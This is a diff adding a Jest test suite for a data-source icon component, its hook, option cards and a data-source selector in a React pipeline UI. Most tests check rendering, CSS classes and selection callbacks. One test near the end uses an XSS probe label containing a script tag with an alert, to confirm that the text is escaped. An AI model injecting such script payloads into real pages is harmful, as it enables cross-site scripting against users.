+        const { container } = render(<DatasourceIcon iconUrl={dataUrl} />)
+
+        // Assert
+        const iconDiv = container.querySelector('[style*="background-image"]')
+        expect(iconDiv).toBeInTheDocument()
+      })
+    })
+  })
+
+  describe('Styling', () => {
+    it('should have flex container classes', () => {
+      // Arrange & Act
+      const { container } = render(<DatasourceIcon iconUrl="https://example.com/icon.png" />)
+
+      // Assert
+      expect(container.firstChild).toHaveClass('flex')
+      expect(container.firstChild).toHaveClass('items-center')
+      expect(container.firstChild).toHaveClass('justify-center')
+    })
+
+    it('should have shadow-xs class from size map', () => {
+      // Arrange & Act
+      const { container } = render(<DatasourceIcon iconUrl="https://example.com/icon.png" />)
+
+      // Assert - Default size 'sm' has shadow-xs
+      expect(container.firstChild).toHaveClass('shadow-xs')
+    })
+
+    it('should have inner div with bg-cover class', () => {
+      // Arrange & Act
+      const { container } = render(<DatasourceIcon iconUrl="https://example.com/icon.png" />)
+
+      // Assert
+      const innerDiv = container.querySelector('.bg-cover')
+      expect(innerDiv).toBeInTheDocument()
+      expect(innerDiv).toHaveClass('bg-center')
+      expect(innerDiv).toHaveClass('rounded-md')
+    })
+  })
+})
+
+// ==========================================
+// useDatasourceIcon Hook Tests
+// ==========================================
+describe('useDatasourceIcon', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockUseDataSourceList.mockReturnValue({
+      data: [],
+      isSuccess: false,
+    })
+    mockTransformDataSourceToTool.mockImplementation(item => ({
+      plugin_id: item.plugin_id,
+      icon: item.declaration?.identity?.icon,
+    }))
+  })
+
+  describe('Loading State', () => {
+    it('should return undefined when data is not loaded', () => {
+      // Arrange
+      mockUseDataSourceList.mockReturnValue({
+        data: undefined,
+        isSuccess: false,
+      })
+      const nodeData = createMockDataSourceNodeData()
+
+      // Act
+      const { result } = renderHook(() => useDatasourceIcon(nodeData), {
+        wrapper: createHookWrapper(),
+      })
+
+      // Assert
+      expect(result.current).toBeUndefined()
+    })
+
+    it('should call useDataSourceList with true', () => {
+      // Arrange
+      const nodeData = createMockDataSourceNodeData()
+
+      // Act
+      renderHook(() => useDatasourceIcon(nodeData), {
+        wrapper: createHookWrapper(),
+      })
+
+      // Assert
+      expect(mockUseDataSourceList).toHaveBeenCalledWith(true)
+    })
+  })
+
+  describe('Success State', () => {
+    it('should return icon when data is loaded and plugin matches', () => {
+      // Arrange
+      const mockDataSourceList = [
+        createMockDataSourceListItem({
+          plugin_id: 'test-plugin-id',
+          declaration: {
+            identity: {
+              icon: '/icons/test-icon.png',
+              name: 'test',
+              label: { en_US: 'Test' },
+            },
+          },
+        }),
+      ]
+      mockUseDataSourceList.mockReturnValue({
+        data: mockDataSourceList,
+        isSuccess: true,
+      })
+      mockTransformDataSourceToTool.mockImplementation(item => ({
+        plugin_id: item.plugin_id,
+        icon: item.declaration?.identity?.icon,
+      }))
+      const nodeData = createMockDataSourceNodeData({ plugin_id: 'test-plugin-id' })
+
+      // Act
+      const { result } = renderHook(() => useDatasourceIcon(nodeData), {
+        wrapper: createHookWrapper(),
+      })
+
+      // Assert - Icon should have basePath prepended
+      expect(result.current).toBe('/mock-base-path/icons/test-icon.png')
+    })
+
+    it('should return undefined when plugin does not match', () => {
+      // Arrange
+      const mockDataSourceList = [
+        createMockDataSourceListItem({
+          plugin_id: 'other-plugin-id',
+        }),
+      ]
+      mockUseDataSourceList.mockReturnValue({
+        data: mockDataSourceList,
+        isSuccess: true,
+      })
+      const nodeData = createMockDataSourceNodeData({ plugin_id: 'test-plugin-id' })
+
+      // Act
+      const { result } = renderHook(() => useDatasourceIcon(nodeData), {
+        wrapper: createHookWrapper(),
+      })
+
+      // Assert
+      expect(result.current).toBeUndefined()
+    })
+
+    it('should prepend basePath to icon when icon does not include basePath', () => {
+      // Arrange
+      const mockDataSourceList = [
+        createMockDataSourceListItem({
+          plugin_id: 'test-plugin-id',
+          declaration: {
+            identity: {
+              icon: '/icons/test-icon.png',
+              name: 'test',
+              label: { en_US: 'Test' },
+            },
+          },
+        }),
+      ]
+      mockUseDataSourceList.mockReturnValue({
+        data: mockDataSourceList,
+        isSuccess: true,
+      })
+      mockTransformDataSourceToTool.mockImplementation(item => ({
+        plugin_id: item.plugin_id,
+        icon: item.declaration?.identity?.icon,
+      }))
+      const nodeData = createMockDataSourceNodeData({ plugin_id: 'test-plugin-id' })
+
+      // Act
+      const { result } = renderHook(() => useDatasourceIcon(nodeData), {
+        wrapper: createHookWrapper(),
+      })
+
+      // Assert - Icon should have basePath prepended
+      expect(result.current).toBe('/mock-base-path/icons/test-icon.png')
+    })
+
+    it('should not prepend basePath when icon already includes basePath', () => {
+      // Arrange
+      const mockDataSourceList = [
+        createMockDataSourceListItem({
+          plugin_id: 'test-plugin-id',
+          declaration: {
+            identity: {
+              icon: '/mock-base-path/icons/test-icon.png',
+              name: 'test',
+              label: { en_US: 'Test' },
+            },
+          },
+        }),
+      ]
+      mockUseDataSourceList.mockReturnValue({
+        data: mockDataSourceList,
+        isSuccess: true,
+      })
+      mockTransformDataSourceToTool.mockImplementation(item => ({
+        plugin_id: item.plugin_id,
+        icon: item.declaration?.identity?.icon,
+      }))
+      const nodeData = createMockDataSourceNodeData({ plugin_id: 'test-plugin-id' })
+
+      // Act
+      const { result } = renderHook(() => useDatasourceIcon(nodeData), {
+        wrapper: createHookWrapper(),
+      })
+
+      // Assert - Icon should not be modified
+      expect(result.current).toBe('/mock-base-path/icons/test-icon.png')
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle empty dataSourceList', () => {
+      // Arrange
+      mockUseDataSourceList.mockReturnValue({
+        data: [],
+        isSuccess: true,
+      })
+      const nodeData = createMockDataSourceNodeData()
+
+      // Act
+      const { result } = renderHook(() => useDatasourceIcon(nodeData), {
+        wrapper: createHookWrapper(),
+      })
+
+      // Assert
+      expect(result.current).toBeUndefined()
+    })
+
+    it('should handle null dataSourceList', () => {
+      // Arrange
+      mockUseDataSourceList.mockReturnValue({
+        data: null,
+        isSuccess: true,
+      })
+      const nodeData = createMockDataSourceNodeData()
+
+      // Act
+      const { result } = renderHook(() => useDatasourceIcon(nodeData), {
+        wrapper: createHookWrapper(),
+      })
+
+      // Assert
+      expect(result.current).toBeUndefined()
+    })
+
+    it('should handle icon as non-string type', () => {
+      // Arrange
+      const mockDataSourceList = [
+        createMockDataSourceListItem({
+          plugin_id: 'test-plugin-id',
+          declaration: {
+            identity: {
+              icon: { url: '/icons/test-icon.png' }, // Object instead of string
+              name: 'test',
+              label: { en_US: 'Test' },
+            },
+          },
+        }),
+      ]
+      mockUseDataSourceList.mockReturnValue({
+        data: mockDataSourceList,
+        isSuccess: true,
+      })
+      mockTransformDataSourceToTool.mockImplementation(item => ({
+        plugin_id: item.plugin_id,
+        icon: item.declaration?.identity?.icon,
+      }))
+      const nodeData = createMockDataSourceNodeData({ plugin_id: 'test-plugin-id' })
+
+      // Act
+      const { result } = renderHook(() => useDatasourceIcon(nodeData), {
+        wrapper: createHookWrapper(),
+      })
+
+      // Assert - Should return the icon object as-is since it's not a string
+      expect(result.current).toEqual({ url: '/icons/test-icon.png' })
+    })
+
+    it('should memoize result based on plugin_id', () => {
+      // Arrange
+      const mockDataSourceList = [
+        createMockDataSourceListItem({
+          plugin_id: 'test-plugin-id',
+        }),
+      ]
+      mockUseDataSourceList.mockReturnValue({
+        data: mockDataSourceList,
+        isSuccess: true,
+      })
+      const nodeData = createMockDataSourceNodeData({ plugin_id: 'test-plugin-id' })
+
+      // Act
+      const { result, rerender } = renderHook(() => useDatasourceIcon(nodeData), {
+        wrapper: createHookWrapper(),
+      })
+      const firstResult = result.current
+
+      // Rerender with same props
+      rerender()
+
+      // Assert - Should return the same memoized result
+      expect(result.current).toBe(firstResult)
+    })
+  })
+})
+
+// ==========================================
+// OptionCard Tests
+// ==========================================
+describe('OptionCard', () => {
+  const defaultProps = {
+    label: 'Test Option',
+    selected: false,
+    nodeData: createMockDataSourceNodeData(),
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+    // Setup default mock for useDatasourceIcon
+    mockUseDataSourceList.mockReturnValue({
+      data: [],
+      isSuccess: true,
+    })
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      renderWithProviders(<OptionCard {...defaultProps} />)
+
+      // Assert
+      expect(screen.getByText('Test Option')).toBeInTheDocument()
+    })
+
+    it('should render label text', () => {
+      // Arrange & Act
+      renderWithProviders(<OptionCard {...defaultProps} label="Custom Label" />)
+
+      // Assert
+      expect(screen.getByText('Custom Label')).toBeInTheDocument()
+    })
+
+    it('should render DatasourceIcon component', () => {
+      // Arrange & Act
+      const { container } = renderWithProviders(<OptionCard {...defaultProps} />)
+
+      // Assert - DatasourceIcon container should exist
+      const iconContainer = container.querySelector('.size-8')
+      expect(iconContainer).toBeInTheDocument()
+    })
+
+    it('should set title attribute for label truncation', () => {
+      // Arrange
+      const longLabel = 'This is a very long label that might be truncated'
+
+      // Act
+      renderWithProviders(<OptionCard {...defaultProps} label={longLabel} />)
+
+      // Assert
+      const labelElement = screen.getByText(longLabel)
+      expect(labelElement).toHaveAttribute('title', longLabel)
+    })
+  })
+
+  describe('Props', () => {
+    describe('selected', () => {
+      it('should apply selected styles when selected is true', () => {
+        // Arrange & Act
+        const { container } = renderWithProviders(
+          <OptionCard {...defaultProps} selected={true} />,
+        )
+
+        // Assert
+        const card = container.firstChild
+        expect(card).toHaveClass('border-components-option-card-option-selected-border')
+        expect(card).toHaveClass('bg-components-option-card-option-selected-bg')
+      })
+
+      it('should apply unselected styles when selected is false', () => {
+        // Arrange & Act
+        const { container } = renderWithProviders(
+          <OptionCard {...defaultProps} selected={false} />,
+        )
+
+        // Assert
+        const card = container.firstChild
+        expect(card).toHaveClass('border-components-option-card-option-border')
+        expect(card).toHaveClass('bg-components-option-card-option-bg')
+      })
+
+      it('should apply text-text-primary to label when selected', () => {
+        // Arrange & Act
+        renderWithProviders(<OptionCard {...defaultProps} selected={true} />)
+
+        // Assert
+        const label = screen.getByText('Test Option')
+        expect(label).toHaveClass('text-text-primary')
+      })
+
+      it('should apply text-text-secondary to label when not selected', () => {
+        // Arrange & Act
+        renderWithProviders(<OptionCard {...defaultProps} selected={false} />)
+
+        // Assert
+        const label = screen.getByText('Test Option')
+        expect(label).toHaveClass('text-text-secondary')
+      })
+    })
+
+    describe('onClick', () => {
+      it('should call onClick when card is clicked', () => {
+        // Arrange
+        const mockOnClick = jest.fn()
+        renderWithProviders(
+          <OptionCard {...defaultProps} onClick={mockOnClick} />,
+        )
+
+        // Act - Click on the label text's parent card
+        const labelElement = screen.getByText('Test Option')
+        const card = labelElement.closest('[class*="cursor-pointer"]')
+        expect(card).toBeInTheDocument()
+        fireEvent.click(card!)
+
+        // Assert
+        expect(mockOnClick).toHaveBeenCalledTimes(1)
+      })
+
+      it('should not crash when onClick is not provided', () => {
+        // Arrange & Act
+        renderWithProviders(
+          <OptionCard {...defaultProps} onClick={undefined} />,
+        )
+
+        // Act - Click on the label text's parent card should not throw
+        const labelElement = screen.getByText('Test Option')
+        const card = labelElement.closest('[class*="cursor-pointer"]')
+        expect(card).toBeInTheDocument()
+        fireEvent.click(card!)
+
+        // Assert - Component should still be rendered
+        expect(screen.getByText('Test Option')).toBeInTheDocument()
+      })
+    })
+
+    describe('nodeData', () => {
+      it('should pass nodeData to useDatasourceIcon hook', () => {
+        // Arrange
+        const customNodeData = createMockDataSourceNodeData({ plugin_id: 'custom-plugin' })
+
+        // Act
+        renderWithProviders(<OptionCard {...defaultProps} nodeData={customNodeData} />)
+
+        // Assert - Hook should be called (via useDataSourceList mock)
+        expect(mockUseDataSourceList).toHaveBeenCalled()
+      })
+    })
+  })
+
+  describe('Styling', () => {
+    it('should have cursor-pointer class', () => {
+      // Arrange & Act
+      const { container } = renderWithProviders(<OptionCard {...defaultProps} />)
+
+      // Assert
+      expect(container.firstChild).toHaveClass('cursor-pointer')
+    })
+
+    it('should have flex layout classes', () => {
+      // Arrange & Act
+      const { container } = renderWithProviders(<OptionCard {...defaultProps} />)
+
+      // Assert
+      expect(container.firstChild).toHaveClass('flex')
+      expect(container.firstChild).toHaveClass('items-center')
+      expect(container.firstChild).toHaveClass('gap-2')
+    })
+
+    it('should have rounded-xl border', () => {
+      // Arrange & Act
+      const { container } = renderWithProviders(<OptionCard {...defaultProps} />)
+
+      // Assert
+      expect(container.firstChild).toHaveClass('rounded-xl')
+      expect(container.firstChild).toHaveClass('border')
+    })
+
+    it('should have padding p-3', () => {
+      // Arrange & Act
+      const { container } = renderWithProviders(<OptionCard {...defaultProps} />)
+
+      // Assert
+      expect(container.firstChild).toHaveClass('p-3')
+    })
+
+    it('should have line-clamp-2 for label truncation', () => {
+      // Arrange & Act
+      renderWithProviders(<OptionCard {...defaultProps} />)
+
+      // Assert
+      const label = screen.getByText('Test Option')
+      expect(label).toHaveClass('line-clamp-2')
+    })
+  })
+
+  describe('Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      // Assert - OptionCard should be a memoized component
+      expect(OptionCard).toBeDefined()
+      // React.memo wraps the component, so we check it renders correctly
+      const { container } = renderWithProviders(<OptionCard {...defaultProps} />)
+      expect(container.firstChild).toBeInTheDocument()
+    })
+  })
+})
+
+// ==========================================
+// DataSourceOptions Tests
+// ==========================================
+describe('DataSourceOptions', () => {
+  const defaultNodes = createMockPipelineNodes(3)
+  const defaultOptions = defaultNodes.map(createMockDatasourceOption)
+
+  const defaultProps = {
+    pipelineNodes: defaultNodes,
+    datasourceNodeId: '',
+    onSelect: jest.fn(),
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockUseDatasourceOptions.mockReturnValue(defaultOptions)
+    mockUseDataSourceList.mockReturnValue({
+      data: [],
+      isSuccess: true,
+    })
+  })
+
+  // ==========================================
+  // Rendering Tests
+  // ==========================================
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      renderWithProviders(<DataSourceOptions {...defaultProps} />)
+
+      // Assert
+      expect(screen.getByText('Data Source 1')).toBeInTheDocument()
+      expect(screen.getByText('Data Source 2')).toBeInTheDocument()
+      expect(screen.getByText('Data Source 3')).toBeInTheDocument()
+    })
+
+    it('should render correct number of option cards', () => {
+      // Arrange & Act
+      renderWithProviders(<DataSourceOptions {...defaultProps} />)
+
+      // Assert
+      expect(screen.getByText('Data Source 1')).toBeInTheDocument()
+      expect(screen.getByText('Data Source 2')).toBeInTheDocument()
+      expect(screen.getByText('Data Source 3')).toBeInTheDocument()
+    })
+
+    it('should render with grid layout', () => {
+      // Arrange & Act
+      const { container } = renderWithProviders(<DataSourceOptions {...defaultProps} />)
+
+      // Assert
+      const gridContainer = container.firstChild
+      expect(gridContainer).toHaveClass('grid')
+      expect(gridContainer).toHaveClass('w-full')
+      expect(gridContainer).toHaveClass('grid-cols-4')
+      expect(gridContainer).toHaveClass('gap-1')
+    })
+
+    it('should render no option cards when options is empty', () => {
+      // Arrange
+      mockUseDatasourceOptions.mockReturnValue([])
+
+      // Act
+      const { container } = renderWithProviders(<DataSourceOptions {...defaultProps} />)
+
+      // Assert
+      expect(screen.queryByText('Data Source')).not.toBeInTheDocument()
+      // Grid container should still exist
+      expect(container.firstChild).toHaveClass('grid')
+    })
+
+    it('should render single option card when only one option exists', () => {
+      // Arrange
+      const singleOption = [createMockDatasourceOption(defaultNodes[0])]
+      mockUseDatasourceOptions.mockReturnValue(singleOption)
+
+      // Act
+      renderWithProviders(<DataSourceOptions {...defaultProps} />)
+
+      // Assert
+      expect(screen.getByText('Data Source 1')).toBeInTheDocument()
+      expect(screen.queryByText('Data Source 2')).not.toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Props Tests
+  // ==========================================
+  describe('Props', () => {
+    describe('pipelineNodes', () => {
+      it('should pass pipelineNodes to useDatasourceOptions hook', () => {
+        // Arrange
+        const customNodes = createMockPipelineNodes(2)
+        mockUseDatasourceOptions.mockReturnValue(customNodes.map(createMockDatasourceOption))
+
+        // Act
+        renderWithProviders(
+          <DataSourceOptions {...defaultProps} pipelineNodes={customNodes} />,
+        )
+
+        // Assert
+        expect(mockUseDatasourceOptions).toHaveBeenCalledWith(customNodes)
+      })
+
+      it('should handle empty pipelineNodes array', () => {
+        // Arrange
+        mockUseDatasourceOptions.mockReturnValue([])
+
+        // Act
+        renderWithProviders(
+          <DataSourceOptions {...defaultProps} pipelineNodes={[]} />,
+        )
+
+        // Assert
+        expect(mockUseDatasourceOptions).toHaveBeenCalledWith([])
+      })
+    })
+
+    describe('datasourceNodeId', () => {
+      it('should mark corresponding option as selected', () => {
+        // Arrange & Act
+        const { container } = renderWithProviders(
+          <DataSourceOptions
+            {...defaultProps}
+            datasourceNodeId="node-2"
+          />,
+        )
+
+        // Assert - Check for selected styling on second card
+        const cards = container.querySelectorAll('.rounded-xl.border')
+        expect(cards[1]).toHaveClass('border-components-option-card-option-selected-border')
+      })
+
+      it('should show no selection when datasourceNodeId is empty', () => {
+        // Arrange & Act
+        const { container } = renderWithProviders(
+          <DataSourceOptions
+            {...defaultProps}
+            datasourceNodeId=""
+          />,
+        )
+
+        // Assert - No card should have selected styling
+        const selectedCards = container.querySelectorAll('.border-components-option-card-option-selected-border')
+        expect(selectedCards).toHaveLength(0)
+      })
+
+      it('should show no selection when datasourceNodeId does not match any option', () => {
+        // Arrange & Act
+        const { container } = renderWithProviders(
+          <DataSourceOptions
+            {...defaultProps}
+            datasourceNodeId="non-existent-node"
+          />,
+        )
+
+        // Assert
+        const selectedCards = container.querySelectorAll('.border-components-option-card-option-selected-border')
+        expect(selectedCards).toHaveLength(0)
+      })
+
+      it('should update selection when datasourceNodeId changes', () => {
+        // Arrange
+        const { container, rerender } = renderWithProviders(
+          <DataSourceOptions
+            {...defaultProps}
+            datasourceNodeId="node-1"
+          />,
+        )
+
+        // Assert initial selection
+        let cards = container.querySelectorAll('.rounded-xl.border')
+        expect(cards[0]).toHaveClass('border-components-option-card-option-selected-border')
+
+        // Act - Change selection
+        rerender(
+          <QueryClientProvider client={createQueryClient()}>
+            <DataSourceOptions
+              {...defaultProps}
+              datasourceNodeId="node-2"
+            />
+          </QueryClientProvider>,
+        )
+
+        // Assert new selection
+        cards = container.querySelectorAll('.rounded-xl.border')
+        expect(cards[0]).not.toHaveClass('border-components-option-card-option-selected-border')
+        expect(cards[1]).toHaveClass('border-components-option-card-option-selected-border')
+      })
+    })
+
+    describe('onSelect', () => {
+      it('should receive onSelect callback', () => {
+        // Arrange
+        const mockOnSelect = jest.fn()
+
+        // Act
+        renderWithProviders(
+          <DataSourceOptions
+            {...defaultProps}
+            onSelect={mockOnSelect}
+          />,
+        )
+
+        // Assert - Component renders without error
+        expect(screen.getByText('Data Source 1')).toBeInTheDocument()
+      })
+    })
+  })
+
+  // ==========================================
+  // Side Effects and Cleanup Tests
+  // ==========================================
+  describe('Side Effects and Cleanup', () => {
+    describe('useEffect - Auto-select first option', () => {
+      it('should auto-select first option when options exist and no datasourceNodeId', () => {
+        // Arrange
+        const mockOnSelect = jest.fn()
+
+        // Act
+        renderWithProviders(
+          <DataSourceOptions
+            {...defaultProps}
+            datasourceNodeId=""
+            onSelect={mockOnSelect}
+          />,
+        )
+
+        // Assert - Should auto-select first option on mount
+        expect(mockOnSelect).toHaveBeenCalledTimes(1)
+        expect(mockOnSelect).toHaveBeenCalledWith({
+          nodeId: 'node-1',
+          nodeData: defaultOptions[0].data,
+        } satisfies Datasource)
+      })
+
+      it('should NOT auto-select when datasourceNodeId is provided', () => {
+        // Arrange
+        const mockOnSelect = jest.fn()
+
+        // Act
+        renderWithProviders(
+          <DataSourceOptions
+            {...defaultProps}
+            datasourceNodeId="node-2"
+            onSelect={mockOnSelect}
+          />,
+        )
+
+        // Assert - Should not auto-select because datasourceNodeId is provided
+        expect(mockOnSelect).not.toHaveBeenCalled()
+      })
+
+      it('should NOT auto-select when options array is empty', () => {
+        // Arrange
+        mockUseDatasourceOptions.mockReturnValue([])
+        const mockOnSelect = jest.fn()
+
+        // Act
+        renderWithProviders(
+          <DataSourceOptions
+            {...defaultProps}
+            pipelineNodes={[]}
+            datasourceNodeId=""
+            onSelect={mockOnSelect}
+          />,
+        )
+
+        // Assert
+        expect(mockOnSelect).not.toHaveBeenCalled()
+      })
+
+      it('should only run useEffect once on initial mount', () => {
+        // Arrange
+        const mockOnSelect = jest.fn()
+        const { rerender } = renderWithProviders(
+          <DataSourceOptions
+            {...defaultProps}
+            datasourceNodeId=""
+            onSelect={mockOnSelect}
+          />,
+        )
+
+        // Assert - Called once on mount
+        expect(mockOnSelect).toHaveBeenCalledTimes(1)
+
+        // Act - Rerender with same props
+        rerender(
+          <QueryClientProvider client={createQueryClient()}>
+            <DataSourceOptions
+              {...defaultProps}
+              datasourceNodeId=""
+              onSelect={mockOnSelect}
+            />
+          </QueryClientProvider>,
+        )
+
+        // Assert - Still called only once (useEffect has empty dependency array)
+        expect(mockOnSelect).toHaveBeenCalledTimes(1)
+      })
+    })
+  })
+
+  // ==========================================
+  // Callback Stability and Memoization Tests
+  // ==========================================
+  describe('Callback Stability and Memoization', () => {
+    it('should maintain callback reference stability across renders with same props', () => {
+      // Arrange
+      const mockOnSelect = jest.fn()
+
+      const { rerender } = renderWithProviders(
+        <DataSourceOptions
+          {...defaultProps}
+          onSelect={mockOnSelect}
+        />,
+      )
+
+      // Get initial click handlers
+      expect(screen.getByText('Data Source 1')).toBeInTheDocument()
+
+      // Trigger clicks to test handlers work
+      fireEvent.click(screen.getByText('Data Source 1'))
+      expect(mockOnSelect).toHaveBeenCalledTimes(2) // 1 auto-select + 1 click
+
+      // Act - Rerender with same onSelect reference
+      rerender(
+        <QueryClientProvider client={createQueryClient()}>
+          <DataSourceOptions
+            {...defaultProps}
+            onSelect={mockOnSelect}
+          />
+        </QueryClientProvider>,
+      )
+
+      // Assert - Component still works after rerender
+      fireEvent.click(screen.getByText('Data Source 2'))
+      expect(mockOnSelect).toHaveBeenCalledTimes(3)
+    })
+
+    it('should update callback when onSelect changes', () => {
+      // Arrange
+      const mockOnSelect1 = jest.fn()
+      const mockOnSelect2 = jest.fn()
+
+      const { rerender } = renderWithProviders(
+        <DataSourceOptions
+          {...defaultProps}
+          datasourceNodeId="node-1"
+          onSelect={mockOnSelect1}
+        />,
+      )
+
+      // Act - Click with first callback
+      fireEvent.click(screen.getByText('Data Source 2'))
+      expect(mockOnSelect1).toHaveBeenCalledTimes(1)
+
+      // Act - Change callback
+      rerender(
+        <QueryClientProvider client={createQueryClient()}>
+          <DataSourceOptions
+            {...defaultProps}
+            datasourceNodeId="node-1"
+            onSelect={mockOnSelect2}
+          />
+        </QueryClientProvider>,
+      )
+
+      // Act - Click with new callback
+      fireEvent.click(screen.getByText('Data Source 3'))
+
+      // Assert - New callback should be called
+      expect(mockOnSelect2).toHaveBeenCalledTimes(1)
+      expect(mockOnSelect2).toHaveBeenCalledWith({
+        nodeId: 'node-3',
+        nodeData: defaultOptions[2].data,
+      })
+    })
+
+    it('should update callback when options change', () => {
+      // Arrange
+      const mockOnSelect = jest.fn()
+
+      const { rerender } = renderWithProviders(
+        <DataSourceOptions
+          {...defaultProps}
+          datasourceNodeId="node-1"
+          onSelect={mockOnSelect}
+        />,
+      )
+
+      // Act - Click first option
+      fireEvent.click(screen.getByText('Data Source 1'))
+      expect(mockOnSelect).toHaveBeenCalledWith({
+        nodeId: 'node-1',
+        nodeData: defaultOptions[0].data,
+      })
+
+      // Act - Change options
+      const newNodes = createMockPipelineNodes(2)
+      const newOptions = newNodes.map(node => createMockDatasourceOption(node))
+      mockUseDatasourceOptions.mockReturnValue(newOptions)
+
+      rerender(
+        <QueryClientProvider client={createQueryClient()}>
+          <DataSourceOptions
+            pipelineNodes={newNodes}
+            datasourceNodeId="node-1"
+            onSelect={mockOnSelect}
+          />
+        </QueryClientProvider>,
+      )
+
+      // Act - Click updated first option
+      fireEvent.click(screen.getByText('Data Source 1'))
+
+      // Assert - Callback receives new option data
+      expect(mockOnSelect).toHaveBeenLastCalledWith({
+        nodeId: newOptions[0].value,
+        nodeData: newOptions[0].data,
+      })
+    })
+  })
+
+  // ==========================================
+  // User Interactions and Event Handlers Tests
+  // ==========================================
+  describe('User Interactions and Event Handlers', () => {
+    describe('Option Selection', () => {
+      it('should call onSelect with correct datasource when clicking an option', () => {
+        // Arrange
+        const mockOnSelect = jest.fn()
+        renderWithProviders(
+          <DataSourceOptions
+            {...defaultProps}
+            datasourceNodeId="node-1"
+            onSelect={mockOnSelect}
+          />,
+        )
+
+        // Act - Click second option
+        fireEvent.click(screen.getByText('Data Source 2'))
+
+        // Assert
+        expect(mockOnSelect).toHaveBeenCalledTimes(1)
+        expect(mockOnSelect).toHaveBeenCalledWith({
+          nodeId: 'node-2',
+          nodeData: defaultOptions[1].data,
+        } satisfies Datasource)
+      })
+
+      it('should allow selecting already selected option', () => {
+        // Arrange
+        const mockOnSelect = jest.fn()
+        renderWithProviders(
+          <DataSourceOptions
+            {...defaultProps}
+            datasourceNodeId="node-1"
+            onSelect={mockOnSelect}
+          />,
+        )
+
+        // Act - Click already selected option
+        fireEvent.click(screen.getByText('Data Source 1'))
+
+        // Assert
+        expect(mockOnSelect).toHaveBeenCalledTimes(1)
+        expect(mockOnSelect).toHaveBeenCalledWith({
+          nodeId: 'node-1',
+          nodeData: defaultOptions[0].data,
+        })
+      })
+
+      it('should allow multiple sequential selections', () => {
+        // Arrange
+        const mockOnSelect = jest.fn()
+        renderWithProviders(
+          <DataSourceOptions
+            {...defaultProps}
+            datasourceNodeId="node-1"
+            onSelect={mockOnSelect}
+          />,
+        )
+
+        // Act - Click options sequentially
+        fireEvent.click(screen.getByText('Data Source 1'))
+        fireEvent.click(screen.getByText('Data Source 2'))
+        fireEvent.click(screen.getByText('Data Source 3'))
+
+        // Assert
+        expect(mockOnSelect).toHaveBeenCalledTimes(3)
+        expect(mockOnSelect).toHaveBeenNthCalledWith(1, {
+          nodeId: 'node-1',
+          nodeData: defaultOptions[0].data,
+        })
+        expect(mockOnSelect).toHaveBeenNthCalledWith(2, {
+          nodeId: 'node-2',
+          nodeData: defaultOptions[1].data,
+        })
+        expect(mockOnSelect).toHaveBeenNthCalledWith(3, {
+          nodeId: 'node-3',
+          nodeData: defaultOptions[2].data,
+        })
+      })
+    })
+
+    describe('handelSelect Internal Logic', () => {
+      it('should handle rapid successive clicks', async () => {
+        // Arrange
+        const mockOnSelect = jest.fn()
+        renderWithProviders(
+          <DataSourceOptions
+            {...defaultProps}
+            datasourceNodeId="node-1"
+            onSelect={mockOnSelect}
+          />,
+        )
+
+        // Act - Rapid clicks
+        await act(async () => {
+          fireEvent.click(screen.getByText('Data Source 1'))
+          fireEvent.click(screen.getByText('Data Source 2'))
+          fireEvent.click(screen.getByText('Data Source 3'))
+          fireEvent.click(screen.getByText('Data Source 1'))
+          fireEvent.click(screen.getByText('Data Source 2'))
+        })
+
+        // Assert - All clicks should be registered
+        expect(mockOnSelect).toHaveBeenCalledTimes(5)
+      })
+    })
+  })
+
+  // ==========================================
+  // Edge Cases and Error Handling Tests
+  // ==========================================
+  describe('Edge Cases and Error Handling', () => {
+    describe('Empty States', () => {
+      it('should handle empty options array gracefully', () => {
+        // Arrange
+        mockUseDatasourceOptions.mockReturnValue([])
+
+        // Act
+        const { container } = renderWithProviders(
+          <DataSourceOptions
+            {...defaultProps}
+            pipelineNodes={[]}
+          />,
+        )
+
+        // Assert
+        expect(container.firstChild).toBeInTheDocument()
+      })
+
+      it('should not crash when datasourceNodeId is undefined', () => {
+        // Arrange & Act
+        renderWithProviders(
+          <DataSourceOptions
+            pipelineNodes={defaultNodes}
+            datasourceNodeId={undefined as unknown as string}
+            onSelect={jest.fn()}
+          />,
+        )
+
+        // Assert
+        expect(screen.getByText('Data Source 1')).toBeInTheDocument()
+      })
+    })
+
+    describe('Null/Undefined Values', () => {
+      it('should handle option with missing data properties', () => {
+        // Arrange
+        const optionWithMinimalData = [{
+          label: 'Minimal Option',
+          value: 'minimal-1',
+          data: {
+            title: 'Minimal',
+            desc: '',
+            type: BlockEnum.DataSource,
+            plugin_id: '',
+            provider_type: '',
+            provider_name: '',
+            datasource_name: '',
+            datasource_label: '',
+            datasource_parameters: {},
+            datasource_configurations: {},
+          } as DataSourceNodeType,
+        }]
+        mockUseDatasourceOptions.mockReturnValue(optionWithMinimalData)
+
+        // Act
+        renderWithProviders(<DataSourceOptions {...defaultProps} />)
+
+        // Assert
+        expect(screen.getByText('Minimal Option')).toBeInTheDocument()
+      })
+    })
+
+    describe('Large Data Sets', () => {
+      it('should handle large number of options', () => {
+        // Arrange
+        const manyNodes = createMockPipelineNodes(50)
+        const manyOptions = manyNodes.map(createMockDatasourceOption)
+        mockUseDatasourceOptions.mockReturnValue(manyOptions)
+
+        // Act
+        renderWithProviders(
+          <DataSourceOptions
+            {...defaultProps}
+            pipelineNodes={manyNodes}
+          />,
+        )
+
+        // Assert
+        expect(screen.getByText('Data Source 1')).toBeInTheDocument()
+        expect(screen.getByText('Data Source 50')).toBeInTheDocument()
+      })
+    })
+
+    describe('Special Characters in Data', () => {
+      it('should handle special characters in option labels', () => {
+        // Arrange
+        const specialNode = createMockPipelineNode({
+          id: 'special-node',
+          data: createMockDataSourceNodeData({
+            title: 'Data Source <script>alert("xss")</script>',
+          }),
+        })
+        const specialOptions = [createMockDatasourceOption(specialNode)]
+        mockUseDatasourceOptions.mockReturnValue(specialOptions)
+
+        // Act
+        renderWithProviders(
+          <DataSourceOptions
+            {...defaultProps}
+            pipelineNodes={[specialNode]}
+          />,
+        )
+
+        // Assert - Special characters should be escaped/rendered safely
+        expect(screen.getByText('Data Source <script>alert("xss")</script>')).toBeInTheDocument()
+      })
+
